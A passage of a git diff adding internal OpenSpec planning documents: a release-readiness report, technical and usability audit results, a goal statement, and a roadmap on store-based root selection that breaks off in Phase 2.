`codex/store-root-parity` (merge to `main` +deliberately deferred per the run's standing instruction). This is the +6.1 capstone's final deliverable: the product, proven as one thing. + +**Verdict: release-ready, with the known gaps below mapped to Later +Ideas. No open P1/P2 findings anywhere in the capstone ledgers.** + +## The five-minute new-user story + +You install OpenSpec and run two commands: + +```bash +openspec store setup team-plans --path ~/openspec/team-plans +openspec new change my-first-change --store team-plans +``` + +That is the whole journey to a working, store-scoped change — two +commands, two concepts (a **store** is a standalone planning repo +registered on your machine; a **change** is the unit of work), and +every step's output prints the exact next command. From there the +lifecycle is `status` → `instructions` per artifact → `archive`, each +carrying `--store` in its own hints. Your code repos connect with one +line (`store: team-plans` in `openspec/config.yaml`) after which the +lifecycle works from inside them with zero flags; project roots can +declare `references:` for read-only upstream context with fetch recipes. +`openspec doctor` answers "is my setup healthy"; `openspec context` +answers "what OpenSpec roots are related by declarations"; and personal +worksets open the planning repo plus whichever code folders the user +chooses. Everything has `--json` with a documented agent contract +(`docs/agent-contract.md`). + +This story is not aspirational: journey 4 ran the store/pointer path cold, +and the later workset dogfood opened a planning store next to code folders +through explicit `--member` composition. The code-repo relationship +abstraction is now recorded as a removed experiment, not current product proof. + +## What this roadmap shipped (the sum) + +- **One root model.** A single resolution precedence (explicit + `--store` → nearest qualifying root → declared pointer → + hint/implicit) implemented exactly once and verified hold across all + command entry points. Stores are standalone OpenSpec repos in a typed + local registry. +- **Declared references, no machinery.** `references:` are read-only + context declarations; nothing clones, syncs, or enforces edit + boundaries. Unresolvable references degrade to warnings with pasteable + fixes. +- **Two read-only composition surfaces.** `doctor` (relationship + health, four separated categories, findings exit 0) and `context` + (the working set as agent brief / human listing / editor view). +- **The old model deleted, not hidden.** The workspace/initiative + command groups, state model, schema, accepted specs, and template + guidance are gone (−12,903 lines in the first tranche; at the current + PR head, `src/` remains net **−3,189** lines vs `origin/main` across + the whole delta). + +## Audit results (full records in this folder) + +- **Persona journeys** (`journeys.md`): all four pass — fresh team + (standing e2e), layered PM-to-dev (new e2e), externalized planning + (new e2e, zero `--store` flags), cold-start agent (live headless + dogfood). +- **Usability** (`usability-audits.md`): 55-wrong-turn error catalog + (all failures fixed); vocabulary sweep clean across live sweep roots + and generated guidance, with planning-history artifacts excluded by + design; time-to-first-success measured live at 2 + commands / 2 concepts. +- **Technical** (`technical-audits.md`): single-resolver and + dependency-direction invariants HOLD; module sizes bounded; the + agent contract documented and verified (`docs/agent-contract.md`); + dead code reduced to a recorded P3 queue. +- **Whole-delta gauntlet** (`gauntlet.md`): four mechanisms + (/code-review max, a 32-agent adversarial Workflow, codex, + completeness critic); 2 P1 + 13 P2 findings, **all fixed in 37ad867 + and live re-verified**, plus the cheap P3 set. Final suite: 97 + files, 1,761 tests green; all 36 accepted specs validate. + +## The autonomous-decision ledger + +Every `Decided autonomously (review me)` entry lives in the roadmap +changelog (18 marked entries plus per-slice recorded amendments). The +ones that shape the product: + +1. The earlier code-repo relationship experiment is superseded and removed; + keep only the research note for a future multi-repo coordination design. +2. Declared-pointer roots resolve through the same store resolver as + `--store` (3.2); corrupt store metadata stays a resolution failure — + no doctor-only resolution fork (3.6 amendment). +3. `openspec doctor` is top-level and root-scoped; health findings of + any severity exit 0 (3.6). +4. 4.1's surface is `openspec context` (not `view`/`open`); opening is + REPLACED by emitted artifacts — no editor launching; `binding.ts` + and the template guards died with the state model (widened + carve-outs). +5. The Phase 5 remainder deleted the workspace-planning schema, the + four beta change folders, and the four wholly-workspace accepted + specs; mixed specs got bounded excisions (L2 decided). +6. Capstone fixes: the nearest walk now requires a QUALIFYING + `openspec/` (planning shape or config); every `--json` failure + emits one status document; `planningHome` was restored to status + JSON as a published agent contract (reversing a planned + dead-code collapse — `PlanningHomeSummary` is live again); + `store remove` commits the registry removal before deleting files; + prompt-render boundaries sanitize cloned content. + +## Known gaps, mapped + +| Gap | Disposition | +|---|---| +| README/public concept docs don't yet tell the store story | **L1** (rewrite public docs after behavior is solid) — the CLI reference (`docs/cli.md`) and agent contract are current | +| Richer cross-repo context (multi-store fetch ergonomics, reference index growth past ~150 references) | **L3** | +| `view`, `templates`, `schemas`, and deprecated noun forms remain cwd-based without `--store` | Documented in the agent contract; candidates for L9-grade fixes if they matter to the simple flow | +| JSON key-casing split (store-family snake_case vs workflow-family camelCase) and envelope-type unification | Recorded in the agent contract; renaming published keys is a product decision for the first versioned release | +| Registry fsync durability; Windows clone-recipe quoting; completions enumerating ids from bare cwd | Recorded engineering notes (gauntlet P3 ledger) — none block a first user on a POSIX machine | +| Cross-platform CI matrix not run on this branch; no semver/changeset plan for the deleted CLI surface | Release-process work for the merge-to-main moment, which this run deliberately does not perform | +| `parseJson` test-helper consolidation and sibling dead-code P3s | Recorded queue (`technical-audits.md`) | + +## What remains before users + +One action: merge `codex/store-root-parity` to `main` (every roadmap +box except "Merged to main" is ticked) and run the release process +(CI matrix, version, changelog). The branch holds 80+ commits, each +with a green full suite at commit time. diff --git a/openspec/work/simplify-context-and-workspace-model/capstone/technical-audits.md b/openspec/work/simplify-context-and-workspace-model/capstone/technical-audits.md new file mode 100644 index 0000000000..1d96479500 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/capstone/technical-audits.md @@ -0,0 +1,79 @@ +# Capstone Technical Audits (6.1) — Results + +Executed 2026-06-11 against the branch head; size and delta counts below +were refreshed against the current PR head after later cleanup commits. + +## Single-resolver invariant: HOLDS + +Root-selection precedence (explicit `--store` → nearest → declared +pointer → hint/implicit) has exactly one implementation +(`resolveOpenSpecRoot`, root-selection.ts). All nine resolution entry +points (list/show/validate/status/instructions×2/new-change/archive/ +doctor/context) route through it; doctor and init's extra walks are +post-resolution diagnostics and scaffold guards, never resolution. One +latent fork found and queued: `generateApplyInstructions`' unreachable +`resolveCurrentPlanningHomeSync` fallback (its only caller always +passes the resolved home) — deletion queued with the function itself. +Deprecated noun-forms (`change`/`spec`) are cwd-based with no walk — +documented, not forks. + +## Dependency direction: HOLDS + +Zero `core → commands/cli` imports; zero `commands → cli` imports; +templates reach nothing. The only cross-link is the package entry +(`src/index.ts`) re-exporting both — top-level composition. + +## Dead code: no P2s; five P3s and four notes, queued or recorded + +P3 queue (fixed in the gauntlet fix round where cheap): +1. The unreachable apply-instructions fallback + + `resolveCurrentPlanningHomeSync` (test-only after it). +2. `resolveRegisteredStore` (registry.ts) — test-only, subsumed by + root-selection, and its fix text references the removed + `--store-path` flag. +3. The references barrel line (`core/index.ts`) — zero consumers; the + sibling modules are deliberately not barreled. +4. `PlanningHomeSummary` — field-identical to `PlanningHome` post-4.1; + identity wrapper collapse. +5. `parseJson` test-helper ×11 — consolidate the enriched variant into + `run-cli.ts`. + +Notes (recorded, no action): `mkdir` fixture copies ×8 (marginal); +the `~/openspec/<id>` checkout convention is 1 computed + 5 prose +sites (constant would pin it); `ext::` transport — zero occurrences, +the shell-safe gate + `--` + trust boundary (team-committed +store.yaml) hold, a threat-model comment at the gate queued; +`registerStore`/`isStoreRoot` are test-only exports (sanctioned +fixture APIs, recorded). + +## Module sizes: bounded + +Largest src module is `store/operations.ts` at 1,196 lines; three files +exceed 800 lines (operations, schema command, init). `store.ts` is just +below the line at 799. src total: 31,625 lines. + +## Agent-contract inventory: docs/agent-contract.md (committed) + +Every JSON shape, the diagnostic envelope, the failure payloads, the +exit-code contract, and a 100+-code catalog — verified against +emitting code. Fourteen consistency findings recorded in the document; +one is gauntlet-grade (P2): in `--json` mode, unknown/ambiguous-item +paths in `validate`/`show` and thrown errors in `status`/ +`instructions` print stderr only and exit 1 WITHOUT a JSON document — +agents parsing stdout get nothing. Queued for the gauntlet fix round. +The rest (severity low/medium: snake_case vs camelCase split between +store-family and workflow-family payloads, the four parallel envelope +type declarations, `status` key collision in `list`, fallback-code +suffix naming, unversioned payloads, schemas/templates ignoring root +selection) are recorded as known gaps for the report — renaming +published JSON keys is a product decision, not a capstone fix. + +## Net LOC delta vs origin/main: src remains net-negative as expected + +- `src/`: **−3,189** net (+8,489 / −11,678) — the Phase 5 deletions + outweigh Phases 3–4's additions. +- `test/`: +956 net (+8,795 / −7,839). +- Whole delta: +29,468 / −23,327 across 235 files; the gross + insertions are dominated by `openspec/work/` planning artifacts + (specs, plans, the roadmap ledger) — process documentation, not + product code. diff --git a/openspec/work/simplify-context-and-workspace-model/capstone/usability-audits.md b/openspec/work/simplify-context-and-workspace-model/capstone/usability-audits.md new file mode 100644 index 0000000000..39d95e02c7 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/capstone/usability-audits.md @@ -0,0 +1,77 @@ +# Capstone Usability Audits (6.1) — Results + +Executed 2026-06-11 against the branch head. + +## Error-catalog walk: 55 wrong turns, 46 pass, 9 fail + +A live walk of every likely wrong turn on the new paths (13 walk +families, human + JSON surfaces), judged against the bar: actionable, +store-carrying, correct exit code, honest. The resolution-layer +taxonomy held up well — differentiated no-root hints, single-document +JSON failures with code/fix fields, shell-parseable clone fixes, +namespace-collision messages in both directions. + +Failures (fixed before the release-readiness report; the fix round is +the next capstone commit): + +- **F1 (P1)** Unparseable `openspec/config.yaml` in a real root dumps + a raw YAMLParseError with node_modules stack frames + (`project-config.ts` console.warn passes the error object). +- **F2 (P2)** The corrupt-registry fix never names the registry file — + "Repair or remove the store registry file" with no path, and the + suggested escalation (`store doctor`) dead-ends identically. +- **F3 (P2)** `instructions` under a corrupt registry drops the Fix + line entirely (the ✖ Error surface). +- **F4 (P2)** `validate` failure summaries offer no drill-down command + (nothing carries `--store`). +- **F5 (P2)** Implicit-root scaffolding (`new change` in a bare dir, + non-interactive init) creates a root that doctor immediately calls + unhealthy (no config.yaml/specs/archive) — the trap is the dishonest + half. +- **F6–F9 (P3)** A bare pathless duplicate warning for malformed + pointers on real roots; the pointer-to-unknown-store fix shaped for + the wrong mistake; store-register-at-code-repo fix assumes a store + clone; `archive <nonexistent>` lists no candidates while + `status --change` does. + +Full table preserved in the audit transcript (the gauntlet re-verifies +the fixes). + +## Vocabulary sweep (including docs/cli.md) + +- Retired `context store` forms: zero hits in the enforced live sweep + roots (`src`, `test`, `docs`, `scripts`, and local `.codex` guidance + when present). Planning-history artifacts under `openspec/` are + intentionally outside that sweep. +- `workspace`: no deleted command-model token growth. Remaining live + hits are intentional: the `.code-workspace` file format name (the VS + Code convention), `workspace-file` opener style, compatibility tests, + and historical comments. Generated templates remain pinned + residue-free by the parity test. +- `initiative`: one genuine finding — `ChangeStatus.initiative` + (instruction-loader) still passes a stored legacy initiative link + through to status JSON. Reading legacy metadata is user-data + tolerance (correct); RE-EMITTING it on a user-facing JSON surface is + residue. Queued in the fix round: drop the passthrough, keep the + schema parse tolerance. The `initiative_option_removed` rejection + string is deliberate (the ledger's recorded survivor). +- `docs/cli.md` and README: clean for retired `context store` forms and + old command-model terms; live `.code-workspace` wording remains by + design. + +## Time-to-first-success: 2 commands, 2 concepts + +Measured live from a clean machine state (isolated XDG, no +configuration): + +1. `openspec store setup team-plans --path ~/openspec/team-plans` — + creates the store, registers it, prints the next command. +2. `openspec new change my-first-change --store team-plans` — the + first store-scoped change exists; the output prints the next + command (`status`) with `--store` carried. + +Concepts a new user must hold: **store** (a standalone planning repo +registered on this machine) and **change** (the unit of work). The +root concept stays implicit until multi-root work begins. Every step's +output names the next step — the journey is self-guiding, which the +cold-start dogfood (journey 4) confirmed end-to-end. diff --git a/openspec/work/simplify-context-and-workspace-model/goal.md b/openspec/work/simplify-context-and-workspace-model/goal.md new file mode 100644 index 0000000000..043911556d --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/goal.md @@ -0,0 +1,76 @@ +# Simplify Context And Workspace Model Goal + +## Destination + +Reorient the current context-store, initiative, workspace, and repo-local change +direction into a simpler OpenSpec model that is easier to explain, implement, +and dogfood. + +The simplified direction is: + +```text +Specs are what is true. +Work is what is in motion. +``` + +OpenSpec artifacts should live in Git. That Git repo may be the project repo, +a standalone planning repo, or a contracts repo. The product should not require +context stores, workspaces, or another state system as primary user-facing +concepts. + +## Desired Experience + +A human should be able to say: + +```text +OpenSpec can live in this project repo or in its own Git repo. +This project repo's work draws on these planning repos. +I can keep a personal workset for the planning repo and the code repos I want +open together. +``` + +Agents and commands should be able to assemble the relevant OpenSpec root and +referenced planning repos without asking users to understand context-store, +workspace, collection, and repo-local modes as separate product systems. Code +repos enter the experience through explicit user direction or personal +worksets, not through a committed declaration plus local map. + +## Product Direction + +- Preserve the current `specs/` and `changes/` baseline while the simpler model + is introduced. +- Make the placement choice explicit: in-project OpenSpec or standalone + OpenSpec repo. +- Support layered planning by reference, not redirection: high-level + requirements and design can live in a standalone repo while a project repo + keeps its own OpenSpec root for implementation-level work, drawing on the + standalone repo as declared context. +- Keep implementation repo selection explicit until a clearer product model + exists; do not introduce a committed code-repo declaration plus local mapping + abstraction as the default path. +- Reduce workspace behavior to personal, manually composed focused views. +- Treat the future `work/` layout as a later evolution, not a prerequisite for + making standalone OpenSpec repos useful. + +## Constraints + +- Keep the current `openspec/changes/` and `openspec/specs/` lifecycle working. +- Treat this `/work` folder as an experiment for organizing the reorientation, + not as the implemented product model. +- Avoid reviving context stores or workspaces as primary product nouns. +- Avoid global `decisions.md` and `questions.md` files as the default planning + shape. +- Prefer small, reviewable slices over large roadmap items. +- Promote only the information that needs to guide future slices. + +## Success Signals + +- A fresh agent can understand the active goal and current roadmap by reading + the files in this work directory. +- The old context-store and workspace initiative becomes useful transition + history rather than the active product queue. +- The next product slices are about preserving the baseline, clarifying + placement, supporting standalone OpenSpec repos, references, and personal + worksets. +- The roadmap avoids making future `/work` support block the simpler standalone + OpenSpec repo path. diff --git a/openspec/work/simplify-context-and-workspace-model/roadmap.md b/openspec/work/simplify-context-and-workspace-model/roadmap.md new file mode 100644 index 0000000000..7cbb4020bd --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/roadmap.md @@ -0,0 +1,2197 @@ +# Simplify Context And Workspace Model Roadmap + +This roadmap is an internal plan for the work described in `goal.md`. + +The goal is simple: + +```text +Specs are what is true. +Work is what is in motion. +``` + +OpenSpec work should live in normal Git files. Those files can live inside the +project repo, or they can live in a separate OpenSpec repo that points at one or +more project repos. + +This roadmap should be readable by someone with no beta context. Each item says: + +- What the user can do. +- Why it matters. +- What changes in commands or files. +- How the user or agent knows it worked. + +This is not public product copy yet. Keep it practical, small, and honest about +what exists. + +## The Story In Plain English + +Today, too much of this area is explained through beta terms: context stores, +initiatives, workspaces, collections, and repo-local modes. + +The simpler product story should become: + +1. OpenSpec can live in this project repo or in its own Git repo. +2. If OpenSpec lives in its own repo, users can register that repo locally. +3. Normal OpenSpec commands can create, read, validate, and archive work in that + selected OpenSpec repo. +4. A project repo with its own OpenSpec root can reference standalone OpenSpec + repos its work draws on, such as high-level requirements from PMs and + architects, without those repos taking over where commands act. +5. Personal worksets can open a planning repo alongside whichever code repos + the user explicitly chooses for this machine. +6. The assembled OpenSpec context can show the root plus referenced stores; it + does not infer implementation repos from declarations. + +The product should not require users or agents to understand initiatives, +workspace-owned planning, or collection state as the main model. + +## Vocabulary For This Roadmap + +- **OpenSpec root**: the `openspec/` folder with `config.yaml`, `specs/`, and + `changes/`. +- **OpenSpec inside a project repo**: the `openspec/` folder lives inside the + code repo. +- **Standalone OpenSpec repo**: the `openspec/` folder lives in its own Git + repo. +- **Store**: a standalone OpenSpec repo registered on this machine. It has a + thin `.openspec-store/store.yaml` identity file, but the real planning work + lives in normal files under `openspec/`. (Renamed from the beta noun + "context store" on 2026-06-11; the CLI group rename lands in slice 1.4.) +- **Reference store**: a standalone OpenSpec repo that a project repo's work + draws on for context (for example PM/architect requirements). A reference + never changes where commands act; it is read as context. +- **View**: a local convenience for opening the OpenSpec repo and project repos + together. It is not the source of truth. + +## Rules We Should Not Forget + +- Keep the normal `openspec/specs/` and `openspec/changes/` lifecycle working. +- When context stores are used, treat them as standalone OpenSpec repos, not as + a separate planning system. +- References are repo-level config, never per-change lifecycle links. The + moment each change carries a managed link object with status coupling back + to a store, we have reinvented initiatives. +- One change lives in one root. Cross-root edits are two changes; the second + root is reached explicitly with `--store`. +- Do not create new initiative links in the simpler product path. +- Do not create workspace-owned planning state in the simpler product path. +- Do not promise clone, pull, push, sync, branch, worktree, dashboard, apply, + verify, or archive orchestration in these slices. +- Treat old beta files as history unless they block the simpler path. +- Do not rewrite public docs before the behavior is solid. + +## Progress At A Glance + +Use this as the quick "where are we?" view. + +Working branch: all roadmap implementation happens on the single +`codex/store-root-parity` branch (PR #1190), with each slice stacked on the +previous ones. Merge to `main` is deferred until the work is ready to land +as a whole; the "Merged to `main`" checkboxes in each slice stay open until +then and do not gate the next slice. + +Numbered labels are roadmap work item ids. Smaller `Progress` checkboxes inside +an item are status steps for that numbered work item. + +- [x] **Phase 0. Make the active direction easy to find.** + Old beta plans were marked as history, and this `/work` roadmap became the + active direction. +- [ ] **Phase 1. Make a standalone OpenSpec repo useful.** + Slices 1.1–1.4 are implemented with passing tests on the working branch; + only merge to `main` remains. The noun is "store" everywhere (CLI group, + machine tokens, guidance, docs), and a headless agent completes a + store-scoped change from one plain prompt (dogfood transcript in the 1.4 + slice folder). +- [x] **Phase 2. Stop putting new work through initiatives.** + Fully absorbed: 2.1 shipped inside slice 1.2, 2.2 folded into slice 1.4, + and 2.3 folded into item 4.1. No independent work remains here. +- [x] **Phase 3. Say how roots relate: references.** + Complete (merge to `main` pending): references, the declared-store + fallback, canonical remotes, and the `openspec doctor` + relationship-health roll-up are implemented and tested on the working + branch. The code-repo declaration/map experiment was removed on + 2026-06-19. +- [ ] **Phase 4. Assemble the working context.** + Complete (merge to `main` pending): `openspec context` ships the + assembled working set; the old workspace opening machinery is + deleted (absorbed old 2.3). +- [ ] **Phase 5. Remove old surfaces only when they confuse the simple path.** + Criteria agreed (delete, sequenced). First tranche done: the + `workspace` and `initiative` command groups are deleted (−12.9k net + lines). The remainder runs after 4.1. +- [ ] **Phase 6. Prove the whole, ready for first users.** + The final acceptance capstone: persona journeys, usability and technical + audits, whole-delta review, release-readiness report. Runs last. +- [ ] **Phase 7. Keep and open personal worksets.** + Complete (merge to `main` pending): the `workset` command group + (compose/list/open/remove), the two-style opener table with local + config, the capstone dogfood transcript, and the pushed branch with + review comments addressed — all on the working branch. + +Next incomplete item: + +- (none) — every roadmap item is complete through its last + pre-merge box. The only open boxes across the roadmap are the + per-item "Merged to `main`" boxes, which close together when the + branch lands (PR #1190). + +## Phase 0. Make The Active Direction Easy To Find + +This phase is already done. It cleaned up old roadmap sources so agents and +humans do not follow the wrong plan. + +Phase checklist: + +- [x] **0.1** Point people away from the old context-store beta plan. +- [x] **0.2** Mark deferred workspace plans as not the current queue. +- [x] **0.3** Reframe local agent guidance around OpenSpec roots. + +### 0.1 Point People Away From The Old Context-Store Beta Plan + +Progress: + +- [x] Done. + +What the user or agent needs: + +- A clear place to find the current direction. +- Confidence that old initiative docs are history, not the active plan. + +What changed: + +- The old context-store initiative now points readers to this `goal.md` and + `roadmap.md`. +- Old beta notes remain discoverable as transition evidence. +- The old initiative roadmap is no longer treated as the implementation queue. + +How we know it worked: + +- A new reader can start from this `/work` folder instead of chasing the old + initiative roadmap. + +### 0.2 Mark Deferred Workspace Plans As Not The Current Queue + +Progress: + +- [x] Done. + +What the user or agent needs: + +- No accidental revival of old workspace apply, verify, archive, branch, + worktree, or dashboard plans. + +What changed: + +- The old workspace reimplementation artifacts were marked obsolete or pending + deletion review. +- Useful research can still be copied forward later. + +How we know it worked: + +- The old workspace changes no longer look like the next thing to implement. + +### 0.3 Reframe Local Agent Guidance Around OpenSpec Roots + +Progress: + +- [x] Done. + +What the user or agent needs: + +- Agent instructions that start with "where is the OpenSpec root?" instead of + "which beta workspace/context-store mode is this?" + +What changed: + +- Local guidance was reframed around OpenSpec roots, artifact placement, and + explicit implementation ownership. +- Beta shared-context guidance was described as old, non-default history. + +How we know it worked: + +- Agents are guided to inspect current files and commands, while avoiding + promises about clone, sync, branch, worktree, dashboard, or edit-boundary + behavior. + +## Phase 1. Make A Standalone OpenSpec Repo Useful + +The user-facing goal of this phase: + +```text +I can keep OpenSpec work in its own Git repo and still use normal OpenSpec +commands. +``` + +Phase checklist: + +- [x] **1.1** Create or register a standalone OpenSpec repo. + Implemented in draft PR #1190. +- [ ] **1.2** Let normal commands use a named standalone OpenSpec repo. + Implemented, tested, and review follow-up fixed on + `codex/store-root-selection`; merge remains. +- [ ] **1.3** Prove the standalone repo lifecycle end to end. + Spec and plan written 2026-06-11; implements on `codex/store-root-parity` + on top of 1.1 and 1.2. +- [ ] **1.4** One guidance pass: stores in, initiatives out. + Absorbs old item 2.2; gated on the context-store terminology decision; + carries the deferred guidance debt from slice 1.2. + +### 1.1 Create Or Register A Standalone OpenSpec Repo + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done in draft PR #1190. +- [x] Tests pass in draft PR #1190. +- [ ] Merged to `main`. + +Slice: `slices/store-root-parity/spec.md` + +What the user can do: + +- Run `context-store setup` and get a normal OpenSpec root in a standalone repo. +- Clone a teammate's standalone OpenSpec repo and register it locally. +- Run `context-store doctor` and see whether the OpenSpec root is healthy. + +Why it matters: + +- A context store should not feel like a special beta planning system. +- It should be a normal OpenSpec root plus a small identity file. + +What changes in commands or files: + +- Setup creates or preserves this shape: + +```text +context-store-root/ + .openspec-store/ + store.yaml + openspec/ + config.yaml + specs/ + changes/ + archive/ +``` + +- Register requires an existing healthy OpenSpec root. +- Register can add `.openspec-store/store.yaml` only after confirmation. +- Doctor reports OpenSpec-root health separately from metadata and Git health. +- Setup/register do not create initiatives, workspace planning files, generated + agent files, slash commands, or tool config. + +How the user or agent knows it worked: + +- `created_files` reports the exact files and folders created. +- Re-running setup/register for the same root reports nothing to change. +- `context-store doctor --json` includes a separate `openspec_root` section. +- Existing config, specs, changes, archived changes, and old beta files are not + overwritten. + +### 1.2 Let Normal Commands Use A Named Standalone OpenSpec Repo + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Plan reviewed with `claude -p`; actionable feedback folded into the + slice artifacts. +- [x] Implementation done on `codex/store-root-selection` (stacked on + `codex/store-root-parity`). +- [x] Tests pass. +- [x] Review follow-up fixed. +- [ ] Merged to `main`. + +Slice: `slices/store-root-selection/spec.md` + +Plain-English version of the next slice: + +```text +When I am in an app repo, I can tell OpenSpec to create or read work in my +registered standalone OpenSpec repo. +``` + +Example user flow: + +```bash +openspec new change add-billing --store team-context +openspec status --store team-context +openspec instructions apply --store team-context +``` + +What the user can do: + +- Stay in the project repo they are working on. +- Pick a registered standalone OpenSpec repo by name. +- Create, inspect, validate, and archive normal OpenSpec work in that selected + repo. + +Why it matters: + +- Without this, users can create/register a standalone OpenSpec repo, but normal + commands still mostly act on the nearest local `openspec/` folder. +- The user should not need initiative links or workspace planning state just to + put work in a standalone OpenSpec repo. + +What changes in commands or files: + +- Add `--store <id>` as the way to choose the OpenSpec root for normal + commands. +- First command set: `new change`, `status`, `instructions`, `list`, `show`, + `validate`, and `archive`, behind one shared root resolver. +- The selected command writes normal `openspec/changes/` and reads normal + `openspec/specs/`. +- The command does not create initiative metadata. +- The command does not create workspace planning files. + +Decisions locked on 2026-06-10 (details in the slice spec): + +- `--store` is repurposed as root selection with exactly one meaning. Phase + 2.1 is pulled forward into this slice: `new change` stops creating + initiative links, the old initiative meanings of `--store` and + `--store-path` are removed, and `openspec set change` is removed because + initiative linking was its only behavior. +- `--store <id>` (registry lookup) is the only selector. `--store-path` is + deferred; registering a clone is the answer for path access. +- Leftover workspace view state never wins root resolution on this path. The + workspace branch is demoted during this slice's resolver rework instead of + waiting for Phase 2.3/5.1. +- When the current directory has no OpenSpec root and registered stores + exist, commands error with a hint naming the registered stores instead of + silently scaffolding a local root. With no registered stores, current + behavior is unchanged. + +How the user or agent knows it worked: + +- Without `--store`, commands keep using the nearest/current OpenSpec root. +- With `--store team-context`, `openspec/changes/<id>` is created in the + registered store root. +- JSON output shows which OpenSpec root was used. +- No new initiative link is created. + +### 1.3 Prove The Standalone Repo Lifecycle End To End + +Progress: + +- [x] Spec written. +- [x] Plan written. +- [x] Smoke flow implemented. +- [x] Tests pass. +- [ ] Merged to `main`. + +Slice: `slices/store-lifecycle-proof/spec.md` + +Plain-English version: + +```text +Show that a registered standalone OpenSpec repo can do the same basic lifecycle +as an OpenSpec root inside a project repo — including cloning it and continuing +the work from a second checkout. +``` + +What the user can do: + +- Set up a standalone OpenSpec repo that is a real Git repo (initialized, with + an initial commit) at a path they chose. +- Create, inspect, validate, and archive a change there from their project + repo. +- Commit and push the store themselves, clone it on another machine, register + the clone, and continue the work. +- Ask doctor whether the store repo has commits, uncommitted changes, or a + remote. + +Why it matters: + +- This proves standalone OpenSpec repos are not just setup plumbing. +- The sharing path (clone, register, continue) is the reason standalone repos + exist, and it is where the hands-on walk on 2026-06-11 found the real gaps. +- It catches missing command support before more features are built on top. + +Decisions locked on 2026-06-11 (details in the slice spec): + +- The proof is a two-checkout journey test in the existing CLI e2e harness, + not a solo-machine smoke or a separate script harness. +- Setup finishes what it starts: Git on by default, an initial commit of + exactly the files setup created, and a user-chosen location (`--path` + required non-interactively; interactive runs prompt with a visible path + suggestion). Tracked placeholder files keep otherwise-empty store + directories alive in clones, and setup checks for a usable Git commit + identity up front instead of failing mid-operation or inventing one. +- The Git line is create-time and read-only: setup may init and commit once; + doctor reports commits/dirty/remote facts read-only; register never + commits; nothing clones, pulls, pushes, branches, or syncs. +- The loop never drops the thread: selected-store hints carry `--store <id>`, + the root banner prints on post-resolution failures, `new change` names the + next command, and `status` drops the workspace-era "Planning home" line. +- Register errors become terminal instead of circular, with the + one-checkout-per-id rule and `unregister` as the named escape hatch. +- `view` is explicitly out of this slice; opening things together is Phase 4. + +What changes in commands or files: + +- `context-store setup` Git and location defaults, plus sharing next-steps. +- Read-only Git facts in `context-store doctor` output. +- Reworked register error messages. +- Hint/banner continuity across the slice 1.2 command set. +- One chained two-checkout journey test covering setup/register, list, + doctor, root selection, change creation, status, instructions, list/show, + validate, and archive. + +How the user or agent knows it worked: + +- The journey passes against the built CLI with isolated global state, + without using old initiative collections or workspace-owned planning state. +- A clone of a freshly set-up store is immediately a healthy OpenSpec root. +- The final files are normal `openspec/specs/`, `openspec/changes/`, and + `openspec/changes/archive/` files in both checkouts. + +### 1.4 One Guidance Pass: Stores In, Initiatives Out + +This slice absorbed roadmap item 2.2 on 2026-06-11: teaching guidance that +stores exist and stopping the same surfaces from advertising initiatives and +workspaces are one job, and doing them separately would mean regenerating the +guidance twice. + +Progress: + +Slice: `slices/store-rename-and-guidance/spec.md` + +- [x] Terminology decided (2026-06-11): the noun is **store**, defined + everywhere as "a store — a standalone OpenSpec repo you've registered." + Command group renames `context-store` → `store`; the `--store` flag stays; + machine tokens rename in the same pass (`context_store_*` diagnostic codes + → `store_*`, JSON `context_store` keys → `store`, data dir + `context-stores/` → `stores/`); committed store-repo formats + (`.openspec-store/store.yaml`, registry shape) stay. "Planning repo" and + "contracts repo" are prose examples of what a store is for, never product + nouns. "Context" is retired from this concept (freed for Phase 4). + Runner-up considered and rejected: reusing the repo noun, because agents + already hear that as the code checkout being operated on. +- [x] Spec written. +- [x] Plan written. +- [x] Implementation done (four checkpoints on `codex/store-root-parity`: + mechanical rename, the two riders, guidance regeneration, guards and + the dogfood proof; post-implementation review and simplify rounds + folded). +- [x] Tests pass (full suite green, 95 files / 1745 tests; vocabulary + sweep, format pins, and the headless dogfood transcript committed). +- [ ] Merged to `main`. + +Plain-English version: + +```text +An agent prompted in a project repo can discover the registered standalone +OpenSpec repo and use it without the human spelling out flags — and is no +longer steered toward initiatives or workspaces. +``` + +What the user can do: + +- Prompt an agent with "create a change for X in our team store" and have the + agent find the registered store and use `--store` on its own. +- Read top-level help and recognize the context-store commands as the + standalone OpenSpec repo feature. +- Follow generated guidance without being pointed at `openspec initiative` or + workspace flows as normal workflow steps. + +Why it matters: + +- Prompts are the primary interface. Slice 1.2 shipped `--store`, but + generated agent guidance never mentions it, so the feature is invisible in + the product's main surface. +- If guidance and completions keep advertising initiatives and workspaces, + users and agents keep treating them as the product model. +- Phase 1 is not honestly done while agents cannot discover stores. + +What changes in commands or files (surface inventory from 2026-06-11 +research, about 13 surfaces): + +- The `context-store` → `store` rename pass (group, machine tokens, data + dir) lands first, before any guidance prose is written. +- Two renames riders: remove the second live meaning of `--store` (legacy + `workspace open --store` still describes it as an initiative selector in + the same completions metadata this slice regenerates), and add an + unknown-subcommand hint under the `store` group for the inevitable + `openspec store new change <id>` (pointing at + `openspec new change <id> --store <id>`). +- CLI help one-liners for the `store`, `workspace`, and `initiative` + command groups (`src/cli/index.ts`, command registration files). +- Completions metadata (`src/core/completions/command-registry.ts`, + `shared-flags.ts`): present `--store` and store discovery; stop presenting + initiative/workspace flows as normal steps. +- The seven generated workflow skill templates in + `src/core/templates/workflows/` that still carry workspace-planning guards + and initiative references. +- The checked-in `.codex/skills/use-openspec/` guidance, which still + advertises `initiative list` and `workspace list` as inspection commands. +- Explicitly out of scope: `schemas/workspace-planning/templates/` (content + of the legacy schema itself; Phase 5 decides its fate), and any command + behavior changes. + +How the user or agent knows it worked: + +- A fresh agent session in a project repo with a registered store completes a + store-scoped change from a single prompt, without hand-holding. +- Generated guidance names `--store`; help text matches the model being + shipped; a fresh user is guided toward specs and changes, not initiatives. +- Existing initiative data remains untouched. + +## Phase 2. Stop Putting New Work Through Initiatives + +The user-facing goal of this phase: + +```text +Normal OpenSpec work should not require an initiative. +``` + +Old initiative data can remain readable as legacy history, but the simpler path +should stop attaching new work to initiatives. + +As of 2026-06-11 every item in this phase has been absorbed by another slice; +this phase carries no independent work. The sections below say where each item +went. + +Phase checklist: + +- [x] **2.1** Stop creating new initiative links in normal change flows. + Pulled forward into 